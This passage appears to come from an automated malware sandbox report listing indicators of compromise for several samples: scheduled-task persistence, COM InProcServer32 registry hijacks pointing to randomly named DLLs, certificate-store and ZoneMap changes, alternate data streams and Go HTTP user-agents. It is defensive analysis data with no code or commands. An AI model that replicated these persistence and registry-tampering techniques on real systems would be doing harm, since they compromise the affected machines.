11128	powershell.exe
7720	powershell.exe
5092	powershell.exe
4672	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
12020	11948	WerFault.exe	738
8284	6940	WerFault.exe	1074
6528	11372	WerFault.exe	1080

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
9504	schtasks.exe
9436	schtasks.exe
8896	schtasks.exe
11420	schtasks.exe
7524	schtasks.exe
8056	schtasks.exe
11360	schtasks.exe
9816	schtasks.exe
8992	schtasks.exe
6148	schtasks.exe
10820	schtasks.exe
9744	schtasks.exe
9588	schtasks.exe
9932	schtasks.exe
3012	schtasks.exe
1356	schtasks.exe
4912	schtasks.exe
12152	schtasks.exe
8824	schtasks.exe
8124	schtasks.exe
11424	schtasks.exe
12088	schtasks.exe
5556	schtasks.exe
5136	schtasks.exe
3972	schtasks.exe
11844	schtasks.exe
11840	schtasks.exe
8396	schtasks.exe
6716	schtasks.exe
6240	schtasks.exe
5920	schtasks.exe
1752	schtasks.exe
6256	schtasks.exe
8100	schtasks.exe
12024	schtasks.exe
8820	schtasks.exe
9444	schtasks.exe
5380	schtasks.exe
3028	schtasks.exe
8676	schtasks.exe
7776	schtasks.exe
8180	schtasks.exe
4180	schtasks.exe
11316	schtasks.exe
8296	schtasks.exe
4352	schtasks.exe
7656	schtasks.exe
10492	schtasks.exe
11596	schtasks.exe
3628	schtasks.exe
4676	schtasks.exe
1064	schtasks.exe
6308	schtasks.exe
6968	schtasks.exe
8612	schtasks.exe
10596	schtasks.exe
4496	schtasks.exe
10536	schtasks.exe
10264	schtasks.exe
7048	schtasks.exe
6224	schtasks.exe
4996	schtasks.exe
1216	schtasks.exe
11052	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
7628	NETSTAT.EXE
7320	ipconfig.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	203	Go-http-client/1.1
HTTP User-Agent header	205	Go-http-client/1.1
HTTP User-Agent header	208	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-104 = "Central Brazilian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-2162 = "Altai Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-152 = "Central America Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Cfdgfh32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Nmbcjjmb.dll"	Hahcieng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Mbpdnm32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Hlignm32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Nmkkjddg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Ojkkof32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	virussign.com_0d1d052a017c095816dffa6e1789be93.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Oioomd32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Bococe32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Lfpmai32.dll"	Dfpmmmem.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Bkbcma32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Aclehffd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Hgahaeke.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Fpeeakoa.dll"	Igfale32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Ignngjdd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Cmnkcepa.dll"	Jkbmng32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Kqflgn32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Nfqgge32.dll"	Kknmjfje.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Menpjhlk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Cbidlg32.dll"	Odelmlma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Bamkjknc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Glcaao32.dll"	Nielge32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Qiadia32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Ajijjplo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Gbblppkd.dll"	Ffccijeh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Mbgngfnn.dll"	Ebkpbfcq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Lgopee32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Ajkgppjl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Ijldiopl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Niieokbp.dll"	Phmgjikm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Olennj32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Dcqneffc.dll"	Alojkfno.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Aeaajk32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Ffcjcpid.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Olmkio32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Poggai32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Aclehffd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Pdchnggp.dll"	Ijigcpao.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Jchfjp32.dll"	Pommpd32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Oacacc32.dll"	Phfaijae.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Iqfcppkd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Miecpgii.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Jbaell32.dll"	Oodadlgk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Lcojdnpf.dll"	Pihacb32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Aadonbij.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Ifneao32.dll"	Gpjjndcd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Mmefenpe.dll"	Idhepigl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Cbjopfpc.dll"	Mknofm32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Oaejfgdl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Hkfnae32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Mqikidhq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Bolbhp32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Cddjledl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Cfgaadad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Gaemmgnl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Bmhcmmlg.dll"	Jnjcjdin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Plijen32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Qiohdadi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Fpbmboeq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32	Hdnbjk32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Qkpmac32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Fdhomnhk.dll"	Dmkldm32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ = "C:\\Windows\\SysWow64\\Glbqeb32.dll"	Hdcbpqom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{79FAA099-1BAE-816E-D711-115290CEE717}\InProcServer32\ThreadingModel = "Apartment"	Jhbdmm32.exe

NTFS ADS 16 IoCs

description	ioc	Process
File created	C:\Users\Admin\Desktop\virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe:Zone.Identifier:$DATA	virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
File created	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe
File opened for modification	C:\ProgramData\winmgr107.exe:Zone.Identifier:$DATA	winmgr107.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4352	vlc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
216	msedge.exe
216	msedge.exe
2408	msedge.exe
2408	msedge.exe
3484	identity_helper.exe
3484	identity_helper.exe
1616	msedge.exe
1616	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1652	virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
1652	virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4508	winmgr107.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
4248	RegAsm.exe
